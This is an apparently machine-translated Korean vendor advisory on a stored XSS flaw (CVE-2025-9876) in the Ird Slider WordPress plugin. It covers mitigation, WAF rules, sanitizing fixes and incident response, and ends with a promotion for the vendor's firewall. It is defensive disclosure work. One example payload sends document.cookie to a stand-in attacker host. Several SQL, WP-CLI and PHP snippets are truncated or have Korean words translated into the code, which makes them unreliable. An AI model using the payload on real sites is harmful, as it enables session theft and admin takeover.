Ird Slider 플러그인의 인증된 저장 XSS//2025-10-03에 게시됨//CVE-2025-9876

WP-방화벽 보안팀

Ird Slider Vulnerability CVE-2025-9876

플러그인 이름 이르드 슬라이더
취약점 유형 인증된 저장 XSS
CVE 번호 CVE-2025-9876
긴급 낮은
CVE 게시 날짜 2025-10-03
소스 URL CVE-2025-9876

긴급: Ird Slider <= 1.0.2 — 인증된 기여자가 저장한 XSS(CVE-2025-9876)

요약: Ird Slider 버전 1.0.2 이하에 영향을 미치는 저장된 크로스 사이트 스크립팅(XSS) 취약점은 기여자 역할 권한을 가진 사용자가 다른 사용자(관리자 포함) 및 사이트 방문자의 컨텍스트에서 실행될 수 있는 영구적인 JavaScript를 삽입할 수 있도록 허용합니다. 이 취약점은 CVE‑2025‑9876으로 지정되었습니다. 본 문서 작성 시점을 기준으로 해당 공급업체는 공식 패치를 출시하지 않았습니다. WP‑Firewall을 운영하는 WordPress 보안팀으로서, 저희는 기술적 세부 사항, 구체적인 탐지 기술, 단계별 완화 조치(단기 및 개발자 수정 모두), 즉각적인 보호를 위한 WAF 규칙 예시, 그리고 사고 대응 체크리스트를 분석합니다.

참고: Ird Slider(<= 1.0.2)를 사용하는 WordPress 사이트를 운영하는 경우 일부 공개 위험 점수에서 "낮음"으로 나열되어 있더라도 이를 검토할 높은 우선 순위로 취급하세요. 실제 영향은 슬라이더 콘텐츠가 렌더링되는 방식과 플러그인 관리 화면을 누가 볼 수 있는지에 따라 크게 달라집니다.


빠른 위험 스냅샷

  • 영향을 받는 소프트웨어: Ird Slider 플러그인 - 버전 <= 1.0.2에서 취약함
  • 취약점 유형: 저장된 크로스 사이트 스크립팅(영구적 XSS)
  • 활용에 필요한 권한: 기여자(인증됨)
  • CVE: CVE‑2025‑9876
  • 공식 패치 상태: 작성 시점에 공급업체 패치가 제공되지 않음
  • 일반적인 영향: 세션 도용, 관리자 계정 인수, 콘텐츠 삽입/훼손, 맬웨어 배포, 사이트 피벗팅

저장된 XSS란 무엇이며 기여자가 위험할 수 있는 이유는 무엇입니까?

저장된 XSS는 공격자가 제공한 신뢰할 수 없는 데이터가 서버(일반적으로 데이터베이스)에 저장되었다가 적절한 이스케이프 처리나 정제 과정 없이 다른 사용자에게 다시 렌더링될 때 발생합니다. 특히 저장된 페이로드가 권한이 높은 사용자(예: 편집자 또는 관리자)의 브라우저 컨텍스트에서 실행될 때 위험합니다.

WordPress의 Contributor 사용자는 콘텐츠를 생성할 수 있습니다. 게시물을 게시할 수는 없지만, 플러그인 기능에 따라 항목을 생성하거나 편집할 수 있습니다. 플러그인이 Contributor 입력(예: 슬라이드 제목, 캡션, HTML, URL 필드)을 허용하고 해당 입력 내용을 그대로 저장하는 경우, Contributor 계정을 가진 공격자는 악성 페이로드를 저장할 수 있습니다. 관리자나 사이트 방문자가 슬라이더(또는 슬라이더 항목이 나열된 관리자 화면)를 볼 때, JavaScript는 뷰어의 권한으로 실행되어 사이트 전체가 손상될 수 있습니다.


기술 개요 - 가능한 근본 원인

플러그인의 내부 구현 세부 사항은 다양하지만 저장된 XSS 사례의 일반적인 근본 원인은 다음과 같습니다.

  • 인증된 사용자의 입력은 서버 측에서 정리되지 않습니다(예: 플러그인이 원시 HTML이나 JS를 DB에 저장함).
  • 렌더링 시 출력이 이스케이프되지 않습니다(예: 원시 필드를 템플릿에 에코하여 사용) 에코 $title 또는 에코 $캡션).
  • 관리 작업에 대한 기능 검사가 부족하고 nonce가 누락되었습니다.
  • 플러그인이 HTML(풍부한 캡션용)을 허용하는 경우 엄격한 허용 목록을 사용하지 못합니다.wp_kses) 대신 정리되지 않은 콘텐츠를 DOM에 씁니다.

일반적인 취약한 흐름:

  1. 기여자는 슬라이더 항목을 생성/편집하고 다음을 삽입합니다. <img src="x" onerror="fetch('https://attacker/p?c='+document.cookie)"/>.
  2. 플러그인은 이 문자열을 메타 또는 사용자 정의 테이블에 저장합니다.
  3. 관리자가 슬라이더 관리 화면을 열거나 관리자가 로드할 수 있는 페이지에서 슬라이더가 렌더링되는 경우 <img> 태그는 페이지 DOM에 삽입되고 오류 발생 시 핸들러가 실행됩니다. 즉, 관리자의 브라우저에서 JavaScript를 실행합니다.

현실적인 착취 시나리오

  1. 세션 도용을 통한 관리자 인수
    관리자 인증 쿠키가 httpOnly/secure 플래그로 보호되지 않거나 사이트에서 JS로 읽을 수 있는 쿠키 값을 사용하는 경우, 페이지 내 스크립트가 세션 쿠키를 공격자가 제어하는 엔드포인트로 유출시킬 수 있습니다.
  2. 악성 관리자 스크립트의 지속성
    공격자는 추가 관리자 사용자를 생성하는 스크립트를 추가할 수 있고(스크립트가 관리자 API에 접근할 수 있는 경우), 백도어 게시물을 만들거나 관리자가 로그인한 동안 AJAX 호출을 통해 테마/플러그인 파일을 수정할 수 있습니다.
  3. 악성코드 유포 및 SEO 포이즌스
    방문자와 검색 엔진에 맬웨어나 스팸을 제공하는 리디렉션이나 숨겨진 iframe을 삽입합니다.
  4. 자격 증명 수집 및 피싱
    가짜 관리자 양식을 표시하거나 자격 증명을 요구하여 제출된 데이터를 공격자에게 전송합니다.
  5. 공급망 및 측면 이동
    관리자 세션이 제어되면 공격자는 악성 플러그인을 업로드하거나 다른 사이트 구성 요소를 수정하여 지속성을 유지할 수 있습니다.

CVSS와 "우선순위"가 때때로 오해를 불러일으키는 이유

공개 CVSS 점수(및 우선순위 라벨)는 유용하지만 맥락을 파악하지는 못합니다. 인증된 기여자가 필요한 XSS는 인증되지 않은 XSS보다 낮은 점수를 받을 수 있습니다. 실제로 기여자 계정(많은 사이트에서 가입 또는 게스트 기여자 허용)이 존재하고 플러그인 UI가 노출되어 있기 때문에 위험합니다. 콘텐츠/관리 컨텍스트에 저장된 모든 XSS는 다른 사실이 입증될 때까지 고위험으로 간주하십시오.


사이트 소유자를 위한 즉각적인 조치(지금 당장 해야 할 일)

귀하의 사이트에서 Ird Slider <= 1.0.2를 사용하고 있다고 생각되는 경우:

  1. 플러그인을 일시적으로 비활성화합니다
    • 대시보드: 플러그인 → Ird 슬라이더 비활성화
    • 또는 WP‑CLI를 통해: wp 플러그인으로 ird-slider 비활성화
  2. 비활성화가 불가능한 경우 플러그인 페이지에 대한 액세스를 제한합니다.
    • 접근 제한 wp-관리자 IP로 차단하거나 서버 규칙을 통해 플러그인의 관리자 페이지를 차단합니다.
  3. 감사 기여자 계정
    • 신뢰할 수 없는 계정을 제거하거나 일시 중지하고, 직접 만들지 않은 계정의 자격 증명을 재설정합니다.
  4. 데이터베이스에서 의심스러운 콘텐츠를 검색합니다.
    • 찾아보다 <script, 오류 발생=, 온로드=, 자바스크립트:, 데이터: 관련 플러그인 테이블이나 postmeta의 URI.
    • SQL 예시:
    -- 게시물 및 postmeta에서 검색: SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%
    • WP‑CLI 검색:
    wp db 쿼리 "SELECT ID, post_title FROM wp_posts WHERE post_content LIKE '%
  5. 로그 및 관리자 작업 확인
    • 의심스러운 관리자 로그인, 플러그인 설치 또는 파일 편집을 찾아보세요.
  6. 비밀번호와 키 회전
    • 예방 조치로 관리자 비밀번호를 재설정하고 WordPress 솔트(wp-config.php AUTH_KEYS)를 순환하세요.
  7. 백업
    • 조사를 돕기 위해 변경 사항을 적용하기 전에 스냅샷/백업을 만드세요.
  8. 손상된 사이트 격리
    • 침해가 의심되는 경우(예상치 못한 관리자 계정, 설명할 수 없는 파일 변경) 사이트를 네트워크에서 격리하거나 유지 관리 모드로 전환하세요.

탐지: 손상 및 스캐닝 지표

  • 예상치 못한 관리자 사용자 활동(게시물 생성, 테마/플러그인 편집)
  • 권한이 상승된 알 수 없는 관리자 사용자입니다.
  • /wp-content/uploads/ 아래의 파일이나 PHP 콘텐츠가 있는 플러그인 디렉토리(업로드에는 PHP가 포함되어서는 안 됩니다).
  • 익숙하지 않은 예약된 작업이 있는 경우(WP‑Cron 항목).
  • 사이트에서 알 수 없는 도메인으로의 아웃바운드 요청입니다.
  • 방문자가 리디렉션이나 삽입된 콘텐츠를 보고했습니다.

자동 검사:

  • 위험한 하위 문자열 검색:
wp db 쿼리 "SELECT option_name FROM wp_options WHERE option_value LIKE '%onerror=%' OR option_value LIKE '%
  • 가능한 웹셸을 확인하려면 grep webroot를 사용하세요.
grep -R --include=*.php -n "eval(" /wordpress 경로 grep -R --include=*.php -n "base64_decode" /wordpress 경로

단기 가상 패치: WAF 규칙 및 예시

플러그인을 즉시 업데이트하거나 제거할 수 없는 경우, WAF(웹 애플리케이션 방화벽)를 통해 악용 시도를 차단할 수 있습니다. 아래는 사용자 또는 호스트가 사용할 수 있는 규칙 예시입니다. 환경에 맞게 신중하게 조정하고 오탐지 여부를 테스트하세요.

참고: 아래 규칙은 예시입니다(ModSecurity 스타일). 먼저 스테이징에서 테스트하세요.

  • 슬라이더 관련 POST에서 스크립트 태그 차단(기본):
SecRule REQUEST_URI "@contains ird-slider" "id:10001,phase:2,deny,status:403,msg:'IRD 슬라이더 XSS - 스크립트 태그 차단',t:none,chain" SecRule ARGS|ARGS_NAMES|REQUEST_BODY "@rx <\s*script" "t:lowercase"
  • POST 본문에서 이벤트 핸들러 속성(onerror, onload, onclick)을 차단합니다.
SecRule REQUEST_BODY "@rx on(error|load|click|mouseover|mouseenter|focus)\s*=" "id:10002,phase:2,deny,log,msg:'IRD 슬라이더 XSS - 이벤트 핸들러 차단',t:none"
  • 자바스크립트 차단: URI 및 데이터 URI:
SecRule REQUEST_BODY "@rx javascript\s*:" "id:10003,phase:2,deny,log,msg:'IRD 슬라이더 XSS - javascript 차단: URI'" SecRule REQUEST_BODY "@rx data:text/html;base64" "id:10004,phase:2,deny,log,msg:'IRD 슬라이더 XSS - 데이터 URI 차단'"
  • base64 JS 페이로드를 차단하는 일반 패턴:
SecRule REQUEST_BODY "@rx ([A-Za-z0-9+/]{100,}=*)" "id:10005,phase:2,deny,log,msg:'가능한 인코딩된 페이로드',t:none"
  • 인증된 기여자 계정에서 오는 일반적인 XSS 페이로드 마커가 포함된 요청을 차단합니다(쿠키 기반 감지):
SecRule REQUEST_HEADERS:쿠키 "@rx wordpress_logged_in_" "체인, id:10006, 단계:2, 패스, nolog" SecRule REQUEST_BODY "@rx (

중요한 디자인 참고 사항:

  • WAF 규칙은 정상적인 Rich HTML 입력(오탐지)을 차단할 수 있습니다. 플러그인이 캡션에 정상적인 HTML을 허용하는 경우, 플러그인의 특정 필드와 엔드포인트에 맞게 규칙을 조정해야 합니다.
  • 공개 엔드포인트에 대해 WAF를 활성화한 채로 두는 동시에 플러그인 관리 페이지에 대해 알려진 양호한 관리 IP를 허용 목록에 추가하는 것을 고려하세요.

개발자 중심 수정 사항(플러그인을 변경하는 방법)

플러그인 작성자는 심층 방어를 적용해야 합니다.

  1. 서버 측 입력 정리
    • 필드가 일반 텍스트여야 하는 경우: 사용 텍스트 필드 삭제() 또는 sanitize_textarea_field().
    • 제한된 HTML이 허용되는 경우: 사용 wp_kses() 엄격한 허용 목록을 통해.

    예 - 제한된 태그를 허용하는 캡션 저장:

    $allowed_tags = array( 'a' => array('href'=>array(), 'title'=>array(), 'rel'=>array()), 'em' => array(), 'strong' => array(), 'br' => array(), 'span' => array('class'=>array()), ); $caption = isset($_POST['캡션']) ? wp_kses( $_POST['캡션'], $allowed_tags ) : ''; update_post_meta( $slider_item_id, '_caption', $caption );
  2. 렌더링 시 출력 이스케이프
    • 항상 마지막 순간에 출력을 이스케이프합니다. esc_html(), esc_attr(), esc_url(), 또는 wp_kses_post() 적절한 경우.

    예 - 안전한 에코:

    에코 &#039;<h3 class="slide-title">&#039; .esc_html( $슬라이드_제목 ) .&#039;</h3>&#039;; 에코 &#039;<div class="slide-caption">&#039; .wp_kses( $slide_caption, $allowed_tags ) .&#039;</div>';
  3. 기능 검사 및 nonce
    • 모든 관리 작업에 대한 사용자 기능을 확인하세요.
    if ( ! current_user_can( 'edit_posts' ) ) { wp_die( '권한이 부족합니다' ); }
    • 사용 check_admin_referer() 양식 제출 시 nonce를 검증합니다.
  4. 절대적으로 필요하지 않는 한 필터링되지 않은 HTML을 저장하지 마십시오.
    • 임의의 HTML을 허용해야 하는 경우 신뢰할 수 있는 역할(관리자/편집자)로 제한하고 계속 적용하십시오. wp_kses 또는 더 엄격한 파서.
  5. SQL에 대해 준비된 명령문을 사용하고 검증 없이 직접 DB에 쓰는 것은 피하세요.
  6. 벌채 반출
    • 향후 감사를 위해 의심스러운 입력과 실패한 기능 검사에 대한 로깅을 추가합니다.
  7. 단위 테스트 및 퍼징
    • 악성 페이로드를 저장하고 렌더링하는 것을 시뮬레이션하는 테스트 사례를 추가하여 이스케이프가 효과적인지 확인합니다.

가상 저장 핸들러에 대한 샘플 패치

아래는 저장 함수가 입력을 정리하는 방법을 보여주는 간단한 예입니다.

함수 ird_slider_save_item() { if ( !isset( $_POST['ird_slider_nonce'] ) || !wp_verify_nonce( $_POST['ird_slider_nonce'], 'ird_slider_save' ) ) { wp_die( 'Nonce 검증에 실패했습니다' ); } if ( !current_user_can( 'edit_posts' ) ) { wp_die( '권한이 부족합니다' ); } $title = isset( $_POST['title'] ) ? sanitize_text_field( wp_unslash( $_POST['title'] ) ) : ''; $caption = isset( $_POST['caption'] ) ? wp_kses_post( wp_unslash( $_POST['caption'] ) ) : ''; $link = isset( $_POST['link'] ) ? esc_url_raw( wp_unslash( $_POST['link'] ) ) : ''; $data = array( 'title' => $title, 'caption' => $caption, 'link' => $link, ); // 정리된 데이터를 DB에 저장합니다... }

침해 후 체크리스트 및 사고 대응

성공적인 악용의 증거를 찾은 경우:

  1. 증거 보존
    • 법의학 조사를 위해 파일 시스템과 데이터베이스의 읽기 전용 스냅샷을 만듭니다.
  2. 악성 콘텐츠 제거
    • 슬라이더 항목, 게시물, 옵션에서 페이로드를 제거하세요. 신중하게 검색하고 직접 검토하세요.
  3. 자격 증명 및 비밀 회전
    • 모든 관리자/편집자 계정에 대한 비밀번호 재설정을 강제로 실행하고, API 키를 순환하며 WP 솔트를 업데이트합니다.
  4. 지속성 메커니즘을 확인하세요
    • 플러그인, 테마 및 업로드를 검사하여 웹셸/백도어 및 예상치 못한 PHP 파일을 찾아냅니다.
  5. 세션 취소
    • 사용 wp_destroy_current_session() 또는 세션을 무효화하기 위해 솔트를 변경합니다.
  6. 가능한 경우 깨끗한 백업에서 복원
    • 침해되기 전에 깨끗한 백업을 해두었다면 복원하고 검증하세요.
  7. 전체 보안 검사를 수행합니다
    • 악성 코드 패턴(base64, eval, gzinflate 등)과 알 수 없는 예약된 작업에 대해 파일 시스템을 검사합니다.
  8. 강화 및 모니터링
    • 위의 개발자 및 WAF 완화 조치를 적용하세요. 비정상적인 활동에 대한 지속적인 모니터링 및 로그 집계를 시작하세요.
  9. 이해관계자에게 공개
    • 격리가 완료되면 사이트 소유자, 관리자, 필요한 경우 고객에게 알립니다.

이 문제를 넘어 강화된 권장 사항

  • 사용자 역할을 제한하고 최소한의 권한을 실행합니다(기여자 기능 검토).
  • 사용하지 않는 플러그인과 테마를 제거합니다.
  • WordPress 코어, 테마, 플러그인을 최신 상태로 유지하세요.
  • 관리자 권한으로 계정에 접근하는 경우 강력한 비밀번호 정책과 2FA를 시행하세요.
  • HTTP 보안 헤더를 사용하세요: Content‑Security‑Policy(CSP), X‑Content‑Type‑Options, X‑Frame‑Options, Referrer‑Policy.
  • Secure 및 HttpOnly 플래그로 쿠키를 설정하고 SameSite를 고려하세요.
  • 정기적으로 사이트를 검사하여(자동 및 수동) 침해 징후가 있는지 확인하세요.

XSS의 영향을 줄이기 위한 콘텐츠 보안 정책 예시

엄격한 CSP는 인라인 스크립트를 차단하고 허용되는 스크립트 소스를 제한함으로써 XSS 공격 범위를 줄일 수 있습니다. 이는 패치를 기다리는 동안 방어적이고 유용하지만, 신중한 테스트가 필요합니다.

헤더 예시(보수적으로 시작—먼저 테스트):

콘텐츠 보안 정책: default-src 'self' https:; script-src 'self' 'nonce- '; 객체-src '없음'; 기본-uri '자체'; 프레임-조상 '없음';

참고: 동적 WordPress 사이트에 CSP를 추가하려면 nonce를 생성하고 인라인 스크립트를 업데이트해야 하므로 CSP를 중기 강화 단계로 간주하세요.


책임 있는 공개 및 공급업체 조정

해당 익스플로잇을 발견한 연구원이나 사이트 소유자라면 플러그인 작성자에게 연락하여 재현 가능한 단계, 페이로드 및 증거를 제공하십시오. 공급업체의 대응이 느릴 경우, 책임 있는 공개 일정 및 증거 보관을 고려하십시오. 사이트 소유자는 공급업체의 패치를 기다리지 말고 위의 완화 조치를 즉시 적용하십시오.


WP‑Firewall이 지금 어떻게 도움이 되는지

WordPress 사이트를 관리하고 공급업체 패치를 기다리는 동안 즉각적인 보호가 필요한 경우 악용 시도를 차단하고 의심스러운 활동을 감지하는 데 도움이 되는 관리형 방화벽 규칙, 가상 패치 및 지속적인 검사를 제공합니다.

WP‑Firewall 무료 플랜으로 시작하세요 - 모든 WordPress 사이트에 필수적인 보호 기능 제공

다음이 포함된 기본(무료) 플랜으로 지금 바로 귀하의 사이트를 보호하세요.

  • WordPress에 맞게 조정된 사용자 정의 규칙이 있는 관리형 방화벽
  • 무제한 대역폭 및 WAF 보호
  • 악성코드 스캐너 및 탐지
  • OWASP 상위 10대 위험에 대한 완화 범위

빠르게 등록하고 보호 기능을 활성화하세요. https://my.wp-firewall.com/buy/wp-firewall-free-plan/

(또한 자동 제거, 블랙리스트/화이트리스트, 월별 보고서, 가상 패치, 관리형 보안 서비스를 제공하는 Standard 및 Pro 등급도 제공합니다.)


향후 유사한 취약점을 방지하기 위한 개발자 체크리스트

  • 인증된 사용자의 입력을 포함하여 모든 입력을 검증하고 정리합니다.
  • 올바른 이스케이프 함수를 사용하여 모든 출력을 이스케이프합니다.
  • 모든 상태 변경 작업에 대해 기능 검사와 nonce를 적용합니다.
  • 피하다 필터링되지 않은 HTML 엄격히 요구되는 경우가 아니면 기능 사용은 허용되지 않습니다.
  • 사용 wp_kses() HTML이 허용되는 경우 명시적인 허용 목록이 있습니다.
  • 렌더링 전에 XSS 페이로드가 무력화되었는지 확인하는 단위 및 통합 테스트를 추가합니다.
  • 사용자 콘텐츠를 처리하는 코드에 대한 보안 검토나 감사를 고려하세요.

사이트 소유자를 위한 최종 메모 및 권장 타임라인

  1. 즉시 (시간): 플러그인을 비활성화하거나 플러그인 엔드포인트에 대한 액세스를 차단합니다. 의심스러운 기여자 계정을 일시 중단합니다. 일반적인 페이로드를 차단하는 WAF 규칙을 적용합니다.
  2. 단기 (1~3일): 데이터베이스와 파일 시스템을 스캔하고 정리합니다. 자격 증명을 순환합니다. 사이트 무결성을 검증합니다.
  3. 중기(1~4주): 플러그인 공급업체와 협력하여 패치 릴리스를 받고, 영구 패치와 업데이트를 적용하고, CSP와 지속적인 모니터링을 활성화합니다.
  4. 장기적으로: 최소 권한, 예약된 검사 및 관리되는 경계 보호를 채택합니다.

저장된 XSS는 지속성과 쉽게 확산될 수 있다는 점 때문에 가장 많이 악용되는 취약점 유형 중 하나입니다. 사이트에서 Ird Slider(1.0.2 이하)를 사용하는 경우, 이를 조치 가능한 것으로 간주하십시오. 위 단계를 따르고, 관리자 세션을 보호하고, 공급업체의 수정 사항을 기다리는 동안 경계 제어를 구축하십시오.


원하시면 다음을 제공해 드릴 수 있습니다.

  • 사용자 환경에 맞게 조정된 사용자 정의 WAF 규칙 세트(단계별 테스트).
  • 정확한 SQL과 파일 경로를 검사하여 귀하의 사이트에 맞게 조정된 단계별 정리 플레이북입니다.
  • 저장된 XSS 페이로드가 관리 환경에서 이미 실행되었는지 감지하는 데 도움이 됩니다.

지금 당사 지원팀에 문의하거나 WP‑Firewall 기본(무료) 플랜을 활성화하세요. https://my.wp-firewall.com/buy/wp-firewall-free-plan/


wordpress security update banner

WP Security Weekly를 무료로 받으세요 👋
지금 등록하세요
!!

매주 WordPress 보안 업데이트를 이메일로 받아보려면 가입하세요.

우리는 스팸을 보내지 않습니다! 개인정보 보호정책 자세한 내용은